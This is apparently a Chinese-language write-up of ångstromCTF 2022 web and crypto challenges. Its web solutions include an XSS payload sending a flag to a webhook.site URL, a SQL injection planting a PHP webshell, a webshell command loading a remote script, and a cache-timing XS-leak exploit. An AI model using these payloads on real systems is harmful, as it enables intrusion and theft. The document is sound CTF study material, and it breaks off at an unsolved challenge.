ångstromCTF 2022 WriteUps

發表於 分類於

今年和 XxTSJxX 一起打 ångstromCTF 2022，主要解些 web 和 crypto，所以寫些值得紀錄的 writeups。

Web

Xtra Salty Sardines

從題目名稱很明顯知道是 XSS，而他主要的 filter 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
app.post("/mksardine", (req, res) => {
    if (!req.body.name) {
        res.status(400).type("text/plain").send("please include a name");
        return;
    }
    // no pesky chars allowed
    const name = req.body.name
        .replace("&", "&")
        .replace('"', """)
        .replace("'", "'")
        .replace("<", "&lt;")
        .replace(">", "&gt;");
    if (name.length === 0 || name.length > 2048) {
        res.status(400)
            .type("text/plain")
            .send("sardine name must be 1-2048 chars");
        return;
    }
    const id = genId();
    sardines[id] = name;
    res.redirect("/sardines/" + id);
});

可以知道他 replace 的時候只會 replace 第一個 occurrence，所以前面放幾個 &"';<> 之類的字元就能繞過。

1
2
3
&"';<><script>fetch('/flag').then(r=>r.text()).then(t=>(new Image).src='https://webhook.site/5557e219-2121-4cd7-ac96-00b224261be2?flag='+t)</script>

<!-- actf{those_sardines_are_yummy_yummy_in_my_tummy} -->
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
const express = require('express');
const path = require("path");

const app = express();
const port = Number(process.env.PORT) || 8080;

app.get("/gallery", (req, res) => {
    res.sendFile(path.join(__dirname, "images", req.query.member), (err) => {
        res.sendFile(path.join(__dirname, "error.html"))
    });
});

app.get("/", (req, res) => {
    res.sendFile(path.join(__dirname, "index.html"));
});

app.listen(port, () => {
    console.log(`Server listening on port ${port}.`);
});

可以知道他能任意 LFI 讀檔，測試一下可已發現它 ../.git/HEAD 存在，所以使用 git-dumper 嘗試將整個 repo 載下來:

1
git-dumper 'https://art-gallery.web.actf.co/gallery?member=../.git/' art

然後檢查一下 git log 看到有個可疑的 commit，所以

1
2
3
git checkout 56449caeb7973b88f20d67b4c343cbb895aa6bc7
cat flag.txt
# actf{lfi_me_alone_and_git_out_341n4kaf5u59v}

School Unblocker

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
import express from "express";
import fetch from "node-fetch";
import path from "path";
import { fileURLToPath, URL } from "url";
import { resolve4 } from "dns/promises";

function isIpv4(str) {
    const chunks = str.split(".").map(x => parseInt(x, 10));
    return chunks.length === 4 && chunks.every(x => !isNaN(x) && x >= 0 && x < 256);
}

function isPublicIp(ip) {
    const chunks = ip.split(".").map(x => parseInt(x, 10));
    if ([127, 0, 10, 192].includes(chunks[0])) {
        return false;
    }
    if (chunks[0] == 172 && chunks[1] >= 16 && chunks[1] < 32) {
        return false;
    }
    return true;
}

const __dirname = path.dirname(fileURLToPath(import.meta.url));

const app = express();
app.use(express.urlencoded({ extended: false }));

// environment config
const port = Number(process.env.PORT) || 8080;
const flag =
    process.env.FLAG ||
    "actf{someone_is_going_to_submit_this_out_of_desperation}";

app.get("/", (req, res) => {
    res.sendFile(path.join(__dirname, "index.html"));
});

app.post("/proxy", async (req, res) => {
    try {
        const url = new URL(req.body.url);
        const originalHost = url.host;
        if (!isIpv4(url.hostname)) {
            const ips = await resolve4(url.hostname);
            // no dns rebinding today >:)
            url.hostname = ips[0];
        }
        if (!isPublicIp(url.hostname)) {
            res.type("text/html").send("<p>private ip contents redacted</p>");
        } else {
            const abort = new AbortController();
            setTimeout(() => abort.abort(), 3000);
            const resp = await fetch(url.toString(), {
                method: "POST",
                body: "ping=pong",
                headers: {
                    Host: originalHost,
                    "Content-Type": "application/x-www-form-urlencoded"
                },
                signal: abort.signal,
            });
            res.type("text/html").send(await resp.text());
        }
    } catch (err) {
        res.status(400).type("text/plain").send("got error: " + err.message);
    }
});

// make flag accessible for local debugging purposes only
// also the nginx is at a private ip that isn't 127.0.0.1
// it's not that easy to get the flag :D
app.post("/flag", (req, res) => {
    if (!["127.0.0.1", "::ffff:127.0.0.1"].includes(req.socket.remoteAddress)) {
        res.status(400).type("text/plain").send("You don't get the flag!");
    } else {
        res.type("text/plain").send(flag);
    }
});

app.listen(port, () => {
    console.log(`Server listening on port ${port}`);
});

這題是個 ssrf 題，目標要想辦法 POST 127.0.0.1:8080/FLAG。不過可以看到它已經擋掉了各種 ip 繞法，還有 dns rebinding 等等的都不能用。不過很容易能發現它可以吃 redirect，所以給個 302 redirect 到 /flag 應該就能過了吧...?

測試一下只會發現它 redirect 之後就變成了 GET request，所以去翻了翻 node-fetch 的 source 可以看到是這幾行在作怪。它遇到 303 或是 301/302+POST 的時候就會強制把 method 改回 GET。不過看到這個地方能知道它把 307/308 也都算在 redirect 的 status code，所以只要弄個 307 或是 308 的 redirect 就能拿 flag 了。

1
2
3
https://httpbingo.org/redirect-to?url=http%3A%2F%2F127.0.0.1:8080%2Fflag&status_code=307

actf{dont_authenticate_via_ip_please}

Secure Vault

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
const express = require("express");
const path = require("path");
const fs = require("fs");
const jwt = require("jsonwebtoken");
const cookieParser = require("cookie-parser");

const app = express();
app.use(express.urlencoded({ extended: false }));
app.use(cookieParser());

// environment config
const port = Number(process.env.PORT) || 8080;
const flag =
    process.env.FLAG ||
    "actf{someone_is_going_to_submit_this_out_of_desperation}";

const userInfo = {};
const jwtKey = Math.random().toString();

class UserStore {
    constructor() {
        this.users = {};
        this.usernames = {};
    }

    insert(username, password) {
        const uid = Math.random().toString();
        this.users[uid] = {
            username,
            uid,
            password,
            vault: "put something here!",
            restricted: true,
        };
        this.usernames[username] = uid;
        return uid;
    }

    get(uid) {
        return this.users[uid] ?? {};
    }

    lookup(username) {
        return this.usernames[username];
    }

    remove(uid) {
        const user = this.get(uid);
        delete this.usernames[user.username];
        delete this.users[uid];
    }
}

function escape(str) {
    return str
        .replaceAll("&", "&amp;")
        .replaceAll('"', "&quot;")
        .replaceAll("'", "&apos;")
        .replaceAll("<", "&lt;")
        .replaceAll(">", "&gt;");
}

const users = new UserStore();

app.use((req, res, next) => {
    try {
        res.locals.user = jwt.verify(req.cookies.token, jwtKey, {
            algorithms: ["HS256"],
        });
    } catch (err) {
        if (req.cookies.token) {
            res.clearCookie("token");
        }
    }
    next();
});

app.get("/", (req, res) => {
    res.type("text/html").send(fs.readFileSync(path.join(__dirname, res.locals.user ? "authed.html" : "index.html"), "utf8"));
});

app.post("/register", (req, res) => {
    if (
        !req.body.username ||
        !req.body.password ||
        req.body.username.length > 32 ||
        req.body.password.length > 32
    ) {
        res.redirect(
            "/?e=" +
                encodeURIComponent("Username and password must be 1-32 chars")
        );
        return;
    }
    if (users.lookup(req.body.username)) {
        res.redirect(
            "/?e=" +
                encodeURIComponent(
                    "Account already exists, please log in instead"
                )
        );
        return;
    }
    const uid = users.insert(req.body.username, req.body.password);
    res.cookie("token", jwt.sign({ uid }, jwtKey, { algorithm: "HS256" }));
    res.redirect("/");
});

app.post("/login", (req, res) => {
    const user = users.get(users.lookup(req.body.username));
    if (user && user.password === req.body.password) {
        res.cookie(
            "token",
            jwt.sign({ uid: user.uid }, jwtKey, { algorithm: "HS256" })
        );
        res.redirect("/");
    } else {
        res.redirect("/?e=" + encodeURIComponent("Invalid username/password"));
    }
});

app.post("/delete", (req, res) => {
    if (res.locals.user) {
        users.remove(res.locals.user.uid);
    }
    res.clearCookie("token");
    res.redirect("/");
});

app.get("/vault", (req, res) => {
    if (!res.locals.user) {
        res.status(401).send("Log in first");
        return;
    }
    const user = users.get(res.locals.user.uid);
    res.type("text/plain").send(user.restricted ? user.vault : flag);
});

app.post("/vault", (req, res) => {
    if (!res.locals.user) {
        res.status(401).send("Log in first");
        return;
    }
    if (!req.body.vault || req.body.vault.length > 2000) {
        res.redirect("/?e=" + encodeURIComponent("Vault must be 1-2000 chars"));
        return;
    }
    users.get(res.locals.user.uid).vault = req.body.vault;
    res.redirect("/");
});

app.listen(port, () => {
    console.log(`Server listening on port ${port}`);
});

這題是個 jwt 的登入服務，目標是要變成 non restricted user 才能拿 flag。仔細觀察可以知道如果 username 是 toString 或是 valueOf，然後把 password 弄成 undefined 就能繞過 /login，然後 uid 因為是 undefined 所以自然不是 restricted user。不過測試下去就會發現 server 整個沒有回應，這是因為走到那個 branch 時它只呼叫了 res.cookie()，而沒有 res.send() 或是 res.end()，導致它不知道要 write response 回來。這部分我沒有想到怎麼繞，所以只能找其他方法。

另一個點是注意到它有 /delete 可以刪除帳號，但是 jwt 本身不是 session，如果沒有自己加 timestamp 的話都是永久適用的。所以只要使用 deleted user 的 jwt token 去登入就能讓 users.get(res.locals.user.uid) 回傳 {}，然後就能拿到 flag。

從 flag 內容 actf{is_this_what_uaf_is} 也能知道這才是 intended solution，真的是個 UAF。

No Flags?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
<?php session_start(); ?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>No Flags?</title>
    <style>
        body {
            background-color: #f8bbd0;
        }

        h1, h2, li, input {
            color: #560027;
        }
        
        h1, h2 {
            font-family: sans-serif;
        }

        h1 {
            font-size: 36px;
        }

        h2 {
            font-size: 30px;
        }

        li, input {
            font-size: 24px;
            font-family: monospace;
        }

        input {
            background: none;
            border: 1px solid #880e4f;
            border-radius: 5px;
        }
    </style>
</head>
<body>
    <h1>List of Fake Flags</h1>
    <ul>
    <?php
        if (!isset($_SESSION["DBNAME"])) {
            $dbname = hash("sha256", (string) rand());
            $_SESSION["DBNAME"] = $dbname;
            $init = true;
        } else {
            $dbname = $_SESSION["DBNAME"];
            $init = false;
        }
        $pdo = new PDO("sqlite:/tmp/$dbname.db");
        if ($init) {
            $pdo->exec("CREATE TABLE Flags (flag string); INSERT INTO Flags VALUES ('actf{not_the_flag}'), ('actf{maybe_the_flag}')");
        }
        if (isset($_POST["flag"])) {
            $flag = $_POST["flag"];
            $pdo->exec("INSERT INTO Flags VALUES ('$flag');");
        }
        foreach ($pdo->query("SELECT * FROM Flags") as $row) {
            echo "<li>" . htmlspecialchars($row["flag"]) . "</li>";
        }
    ?>
    </ul>
    <h2>Add a Fake Flag</h2>
    <form action="/" method="POST">
        <input type="text" name="flag" placeholder="flag...">
        <input type="submit" value="Add">
    </form>
</body>
</html>

很直接的一個 sqlite sql injection，但是 db 中根本沒東西。看一下提供的 Dockerfile 可知需要 RCE 才行:

1
2
3
4
5
6
7
8
9
10
11
12
13
FROM php:8.1.5-apache-bullseye

# executable that prints the flag
COPY printflag /printflag
RUN chmod 111 /printflag
COPY src /var/www/html

RUN chown -R root:root /var/www/html && chmod -R 555 /var/www/html
RUN mkdir /var/www/html/abyss &&\
    chown -R root:root /var/www/html/abyss &&\
    chmod -R 333 abyss

EXPOSE 80

所以參考了 PayloadsAllTheThings 的 payload 直接寫 webshell 到 /var/www/html/abyss 中 RCE 即可。

1
2
3
x');ATTACH DATABASE '/var/www/html/abyss/shell.php' AS lol;CREATE TABLE lol.pwn (dataz text);INSERT INTO lol.pwn (dataz) VALUES ('<?php system($_GET["cmd"]); ?>');----

# actf{why_do_people_still_use_php}

Sustenance

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
const express = require("express");
const cookieParser = require("cookie-parser");
const path = require("path");

const app = express();
app.use(express.urlencoded({ extended: false }));

// environment config
const port = Number(process.env.PORT) || 8080;
const adminSecret = process.env.ADMIN_SECRET || "secretpw";
const flag =
    process.env.FLAG ||
    "actf{someone_is_going_to_submit_this_out_of_desperation}";

function queryMiddleware(req, res, next) {
    console.log(req.cookies)
    res.locals.search =
        req.cookies.search || "the quick brown fox jumps over the lazy dog";
    // admin is a cool kid
    if (req.cookies.admin === adminSecret) {
        res.locals.search = flag;
    }
    next();
}

app.use(cookieParser());

app.get("/", (req, res) => {
    res.sendFile(path.join(__dirname, "index.html"));
});

app.post("/s", (req, res) => {
    if (req.body.search) {
        for (const [name, val] of Object.entries(req.body)) {
            res.cookie(name, val, { httpOnly: true });
        }
    }
    res.redirect("/");
});

app.get("/q", queryMiddleware, (req, res) => {
    const query = req.query.q || "h"; // h
    let status;
    if (res.locals.search.includes(query)) {
        status =
            "succeeded, but please give me sustenance if you want to be able to see your search results because I desperately require sustenance";
    } else {
        status = "failed";
    }
    res.redirect(
        "/?m=" +
            encodeURIComponent(
                `your search that took place at ${Date.now()} has ${status}`
            )
    );
});

app.listen(port, () => {
    console.log(`Server listening on port ${port}`);
});

這題是個 front end 的題目，不過看不出有 xss 的方法，所以只能 xsleaks 了。雖然從 source 看了出來是要想辦法利用 /s 去設定一些 cookie 達成 xsleaks，但是那個 endpoint 最多只能注入一些 cookie 的 attribute，沒辦法 CRLF injection 之類的。雖然我沒能在比賽中找到正確解法，但是我還是使用了 unintended 的做法解掉了這題。

關鍵在於前面有一題 No Flags? 是有 RCE 的，然後兩題的 domain 分別是 no-flags.web.actf.co 和 sustenance.web.actf.co，所以兩個並沒有被 cache partitioning 分隔。所以使用下方的這個函數去判斷 timing 可以有效的檢查一個 path 是否有被 visit 過:

1
2
3
4
5
6
7
8
9
async function timeurl(u) {
	let start = performance.now()
	await fetch(u, {
		mode: 'no-cors',
		credentials: 'same-origin',
		cache: 'force-cache'
	})
	return performance.now() - start
}

所以就使用 /q?q=actf{a 之類的查詢後它會 redirect 到 /?m=your... 的網址，因為它有固定的格式所以透過判斷是否有 cache 來知道 res.locals.search.includes(query) 的結果。這個是我完整的 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
// fetch('https://deelay.me/60000/https://picsum.photos/200/300')
const parsed = new URL(document.currentScript.src)

function rlog(...args) {
	console.log(...args)
	// navigator.sendBeacon(
	// 	parsed.protocol + '//' + parsed.hostname + '/report' + encodeURIComponent(String(args[0])),
	// 	JSON.stringify(args, null, 2)
	// )
	fetch(parsed.protocol + '//' + parsed.hostname + '/report' + encodeURIComponent(String(args[0])),{
		mode: 'no-cors',
		body: JSON.stringify(args, null, 2),
		method: 'post'
	})
}

function sleep(ms) {
	return new Promise(res => setTimeout(res, ms))
}
async function timeurl(u) {
	let start = performance.now()
	await fetch(u, {
		mode: 'no-cors',
		credentials: 'same-origin',
		cache: 'force-cache'
	})
	return performance.now() - start
}
async function timeurlmean(u,n=4) {
	const vals = []
	let sum = 0
	let mn = 123
	for(let i=0;i<n;i++){
		const v = await timeurl(u)
		sum+=v
		if(v<mn){
			mn=v;
		}
		vals.push(v)
	}
	// return [sum/n,mn]
	return vals.sort((a,b)=>a-b)[2]
}

async function test(q) {
	win = open('https://sustenance.web.actf.co/q?q=' + encodeURIComponent(q), 'tmp', 'width=100,height=100')
	const t = Date.now()
	await sleep(35)
	win.close()
	const urls = []
	const ar = []
	for (let i = 0; i < 30; i++) {
		const t2 = t + i
		const u =
			'https://sustenance.web.actf.co/?m=your%20search%20that%20took%20place%20at%20' +
			t2 +
			'%20has%20succeeded%2C%20but%20please%20give%20me%20sustenance%20if%20you%20want%20to%20be%20able%20to%20see%20your%20search%20results%20because%20I%20desperately%20require%20sustenance'
		urls.push(u)
		const v=await timeurl(u)
		ar.push(v)
	}
	return Math.min(...ar)
	// rlog(`done-${q}`,Math.min(...ar),ar)
}
async function main(){
	// await test('actf')
	// await test('fasd')
	// await test('ytxz')
	// await test('actf{')
	// const chrs = 'abcdefghijklmnopqrstuvwxyz'
	const params = new URLSearchParams(location.search)
	const chrs = params.get('chrs')
	const prefix = params.get('prefix')
	// let flag = 'act'
	// for(const c of chrs){
	// 	await test(flag+c)
	// }
	const vals = []
	let mnv=100, ch
	for(const c of chrs){
		const v = await test(prefix+c)
		vals.push(v)
		if(v<mnv){
			mnv=v
			ch = c
		}
	}
	rlog(`result_${prefix}`, prefix + ch,mnv, vals)
	
}
main()
/**
 * goto https://no-flags.web.actf.co/abyss/shell35.php run this script
 * ht=`<script src="https://????.ngrok.io/exp2.js"></script>`
 * location.search='?cmd='+encodeURIComponent(`echo '${btoa(ht)}' | base64 -d > zxzx.php`)
 * 
 * then send https://no-flags.web.actf.co/abyss/zxzx.php?chrs=abcdefghijklmnopqrstuvwxyz_}&prefix=actf{yummy_sustenance to the bot
 */


// actf{yummy_sustenance}

使用方法就是先使用 ngrok 之類的服務讓檔案位置公開可存取，然後利用 No Flags? 上的 webshell 建立一個檔案去 include 它，然後 submit https://no-flags.web.actf.co/abyss/zxzx.php?chrs=abcdefghijklmnopqrstuvwxyz_}&prefix=actf{ 之類的網址給 bot 就能在高正確率的情況下取得 prefix 的下個字元。

不過其實這個 unintended 沒有必要使用到 No Flags?，因為 headless Chromium 沒有 cache partitioning!!! 直接使用 ngrok domain 測試也確實能查詢到 cache，真的太神奇了。之前也有個 ctf 出現了這個問題的 unintended。

Cliche

這題簡而蔽之就只有這行 js 值得看:

1
document.body.innerHTML = marked.parse(DOMPurify.sanitize(qs.get("content")));

版本是 DOMPurify 2.3.6 和 marked 4.0.14。

它把 marked.parse 和 DOMPurify.sanitize 的順序顛倒了過來，目標是要 XSS 拿 cookie 而已。DOMPurify 很明顯難以直接繞過，因為真能繞過的話等於是找到了 0day，所以關鍵還是怎麼利用 marked 去把 DOMPurify sanatized 的 safe html 重新變回 XSS。

我的思路很簡單，就是想辦法讓 < 出現在不會被解析為 html tag 的地方 (e.g. <style>)，然後利用 markdown 的某些性質讓它跑出該 tag 的內容中，這樣就有機會 xss 了。

我的出發點是利用 [text](link 'title') 會被解析為 <p><a href="link" title="title">text</a></p> 的性質，把 title 換成 <style> 就會變成 <p><a href="link" title="&lt;style&gt;">text</a></p>。

此時在 <style> 和 </style> 塞入 < 就不會出事，不過因為 marked 的原因還是會被 escape 掉，所以還是得讓 marked 讓它認為該處是 html 才行: <pre>[text](link '<style>')<</style></pre>。然而這又導致 markdown 不會被解析，所以去讀了 source code 之後知道 heading 會讓 marked 進入 parseInline，可以強制讓 markdown 被解析出來: # <pre>[text](link '<style>')<</style></pre> -> # <pre>[text](link '<style>')<</style></pre>。

下一步是要讓 < 字元變成 xss，一個很明顯的做法是直接讓它用 <img src=1 onerror=alert(1)> 達成，但是會發現這樣會導致 <style> 整個消失。這是因為 DOMPurify 為了避免 mutation xss 會阻擋內容中包含 <[/\w] 的 tag，就算是純文字也一樣。

我繞這個的方式是利用 html comment <!-- 可以讓它不會被 DOMPurify 擋掉，然後後面在想辦法在 attribute 中塞個 --> 再接上 <img> 就能 XSS 了:

1
# <pre>[text](link '<style>')<!--</style><div id="--><img src=1 onerror=alert(1)>"></div></pre>

會被變成:

1
<h1 id="text"><pre><a href="link" title="&lt;style&gt;">text</a><!--</style><div id="--><img src=1 onerror=alert(1)>"></div></pre></h1>

而這個 payload 其實還能簡化為:

1
[x](y '<style>')<!--</style><div id="x--><img src=1 onerror=alert(1)>"></div>

而後來我還在 Discord 看到一個比這簡單很多的解法:

1
2
3
<a title="a

<img src=x onerror=alert(1)>">yep</a>

因為 markdown 連換兩行就被當成了 paragraph，導致前半被 <p> 包起來，然後就有後面的 xss 了。

Crypto

Vinegar Factory

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/usr/local/bin/python3

import string
import os
import random

with open("flag.txt", "r") as f:
    flag = f.read().strip()

alpha = string.ascii_lowercase

def encrypt(msg, key):
    ret = ""
    i = 0
    for c in msg:
        if c in alpha:
            ret += alpha[(alpha.index(key[i]) + alpha.index(c)) % len(alpha)]
            i = (i + 1) % len(key)
        else:
            ret += c
    return ret

inner = alpha + "_"
noise = inner + "{}"

print("Welcome to the vinegar factory! Solve some crypto, it'll be fun I swear!")

i = 0
while True:
    if i % 50 == 49:
        fleg = flag
    else:
        fleg = "actf{" + "".join(random.choices(inner, k=random.randint(10, 50))) + "}"
    start = "".join(random.choices(noise, k=random.randint(0, 2000)))
    end = "".join(random.choices(noise, k=random.randint(0, 2000)))
    key = "".join(random.choices(alpha, k=4))
    print(f"Challenge {i}: {start}{encrypt(fleg + 'fleg', key)}{end}")
    x = input("> ")
    if x != fleg:
        print("Nope! Better luck next time!")
        break
    i += 1

這題就 vigenere cipher，只是因為前面有些額外的 noise 所以要小小的 bruteforce，然後用 flag prefix 回推 key 解密即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import *
import string

alpha = string.ascii_lowercase


def decrypt(msg, key):
    ret = ""
    i = 0
    for c in msg:
        if c in alpha:
            ret += alpha[(alpha.index(c) - alpha.index(key[i])) % len(alpha)]
            i = (i + 1) % len(key)
        else:
            ret += c
    return ret


def encrypt(msg, key):
    ret = ""
    i = 0
    for c in msg:
        if c in alpha:
            ret += alpha[(alpha.index(key[i]) + alpha.index(c)) % len(alpha)]
            i = (i + 1) % len(key)
        else:
            ret += c
    return ret


def find_key(ct_cand):
    try:
        return "".join(
            [
                alpha[(alpha.index(c) - alpha.index(d)) % len(alpha)]
                for c, d in zip(ct_cand, "actf")
            ]
        )
    except:
        pass


# io = process(['python', 'main.py'])
io = remote("challs.actf.co", 31333)
for _ in range(50):
    io.recvregex(r"Challenge \d+: ".encode())
    ct = io.recvlineS().strip()
    # io.recvuntil(b'Challenge ')
    # print(ct)
    lb_idxs = [i for i, c in enumerate(ct) if c == "{"]
    cands = [(i, ct[i - 4 : i]) for i in lb_idxs if i >= 4]
    print(len(cands))
    for i, c in cands:
        key = find_key(c)
        if not key:
            continue
        # print(c, key)
        msg = decrypt(ct[i - 4 :], key)
        if "fleg" in msg:
            msg = msg[: msg.index("fleg")]
            if msg.count("{") == 1 and msg.count("}") == 1:
                print(_, msg)
                io.sendline(msg.encode())
                break
    else:
        print("no found")

# actf{classical_crypto_is_not_the_best}

log log log

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from secrets import randbits
from flag import flag

flagbits = len(flag) * 8
flag = int(flag.hex(),16)

q = 127049168626532606399765615739991416718436721363030018955400489736067198869364016429387992001701094584958296787947271511542470576257229386752951962268029916809492721741399393261711747273503204896435780180020997260870445775304515469411553711610157730254858210474308834307348659449375607755507371266459204680043
p = q * 2^1024 + 1

assert p in Primes()

nbits = p.nbits()-1

e = randbits(nbits-flagbits)
e <<= flagbits
e |= flag

K = GF(p)
g = K.multiplicative_generator()
a = g^e

print(hex(p))
print(g)
print(hex(a))
print(flagbits)

目標就是求 的 ，也就是 discrete log。關鍵在於 flag 只有 880 bits，而 。

所以只要把問題化為 ，然後利用 的 order 只有 的性質就能簡單求出 了。這部分 sage 內建的就能處理了，至於實際上要怎麼算的話可以看 Pohlig–Hellman。

1
2
3
4
5
6
7
8
9
10
11
12
13
from Crypto.Util.number import *

q = 127049168626532606399765615739991416718436721363030018955400489736067198869364016429387992001701094584958296787947271511542470576257229386752951962268029916809492721741399393261711747273503204896435780180020997260870445775304515469411553711610157730254858210474308834307348659449375607755507371266459204680043
p = q * 2 ^ 1024 + 1
K = GF(p)
g = K(3)
a = K(
    0xAF99914E5FB222C655367EEAE3965F67D8C8B3A0B3C76C56983DD40D5EC45F5BCDE78F7A817DCE9E49BDBB361E96177F95E5DE65A4AA9FD7EAFEC1142FF2A58CAB5A755B23DA8AEDE2D5F77A60EFF7FB26AEC32A9B6ADEC4FE4D5E70204897947EB441CC883E4F83141A531026E8A1EB76EE4BFF40A8596106306FDD8FFEC9D03A9A54EB3905645B12500DAEABDB4E44ADCFCECC5532348C47C41E9A27B65E71F8BC7CBDABF25CD0F11836696F8137CD98088BD244C56CDC2917EFBD1AC9B6664F0518C5E612D4ACDB81265652296E4471D894A0BD415B5AF74B9B75D358B922F6B088BC5E81D914AE27737B0EF8B6AC2C9AD8998BD02C1ED90200AD6FFF4A37
)

g ^= q
a ^= q
print(long_to_bytes(discrete_log(a, g, ord=2 ^ 1024)))

Prophet

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package main

import (
	"encoding/binary"
	"fmt"
	"math/rand"
)

func main() {
	flag := "actf{REDACTEDREDACTEDREDACTED!!}"
	rand.Seed(12345) // the actual seed is not 12345
	// drastically slow down naive brute force
	for i := 0; i < 100000; i += 1 {
		rand.Uint64()
	}
	for i := 0; i < 4; i += 1 {
		fmt.Printf("flag chunk: %d\n", binary.LittleEndian.Uint64([]byte(flag)[i*8:i*8+8])^rand.Uint64())
	}
	gap := 0
	for i := 0; i < 607; i += 1 {
		fmt.Println(rand.Uint64())
		for j := 0; j < gap; j += 1 {
			rand.Uint64()
		}
		gap = (gap + 1) % 13
	}
}

一個 golang 的題目，把 flag 和一些隨機數 xor 了，然後輸出 607 個 output，其中跳過了一些輸出。題目很明顯是要讓我們 predict random 的輸出，所以需要去看 go 的 source code。

它的核心其實就 src/math/rand/rng.go:238-252 的幾行而已:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
func (rng *rngSource) Uint64() uint64 {
	rng.tap--
	if rng.tap < 0 {
		rng.tap += rngLen
	}

	rng.feed--
	if rng.feed < 0 {
		rng.feed += rngLen
	}

	x := rng.vec[rng.feed] + rng.vec[rng.tap]
	rng.vec[rng.feed] = x
	return uint64(x)
}

可知它有點像是 LFSR，不過 tap 只取一個，且 tap 本身還會移動。不過這些都不是問題，因為它 rng.vec 也才 607 個 states，將它們設為未知數然後模擬它的輸出就能得到 607 條 linear equation，然後就能解出 states 回推。

不過實際上測試只有在沒跳過任何 states 的時候才有能力回推全部的狀態，但是以這題的情況就已經足夠恢復解密的 output 了。在解的時候還有個小技巧就是把初始 state 設為 100000 次 rand.Uint64() 的狀態會比較簡單，不用吹灰之力就能拿到 xor 的 output 了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
with open("chall.txt") as f:
    flagct = []
    for _ in range(4):
        flagct.append(int(f.readline().split(" ")[-1]))
    nums = list(map(int, f.readlines()))
rngLen = 607
rngTap = 273
tap = 0
feed = rngLen - rngTap
tap = (tap - 100000) % rngLen
feed = (feed - 100000) % rngLen
P = PolynomialRing(Zmod(2**64), "vec", rngLen)
gens = P.gens()
vec = list(gens)


def rand_uint64():
    global tap, feed
    tap -= 1
    if tap < 0:
        tap += rngLen
    feed -= 1
    if feed < 0:
        feed += rngLen
    x = vec[feed] + vec[tap]
    vec[feed] = x
    return x


polys = []
gap = 0
for _ in range(4):
    rand_uint64()
for i, num in enumerate(nums):
    polys.append(rand_uint64() - num)
    for _ in range(gap):
        rand_uint64()
    gap = (gap + 1) % 13
M, v = Sequence(polys).coefficient_matrix()
print(v.T)
A = M[:, :-1]
b = -M[:, -1]
tmp = A.solve_right(b).list()
for j, term in enumerate(v.list()[:-1]):
    i = gens.index(term)
    vec[i] = tmp[j]
# print(vec)

tap = 0
feed = rngLen - rngTap
tap = (tap - 100000) % rngLen
feed = (feed - 100000) % rngLen
for ct in flagct:
    print(int(int(ct) ^^ int(rand_uint64())).to_bytes(8, "little").decode(), end="")

# actf{i_c4n_f0rs33_th3_p4s7_t00_}

Strike-Slip Fault

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/local/bin/python3

from Crypto.Util.number import getStrongPrime, long_to_bytes, bytes_to_long, inverse
from secrets import randbelow, token_bytes

print("Welcome to my super secret service! (under construction)")

BITS = 4096

p = getStrongPrime(BITS//2)
q = getStrongPrime(BITS//2)
n = p*q
phi = (p-1)*(q-1)
e = 65537

flag = [REDACTED]
m = bytes_to_long(flag+token_bytes(BITS//8 - len(flag) - 1))
c = pow(m,e,n)

print("Making sure nothing was tampered with...")
print("n =", n)
print("e =", e)
print("c =", c)

d = inverse(e, phi)
bits = list(range(d.bit_length()))
for i in range(3):
	d ^= 1 << bits.pop(randbelow(len(bits))) # these cosmic rays man...

ans = long_to_bytes(pow(c,d,n))
if ans.startswith(flag):
	print("Check passed!")
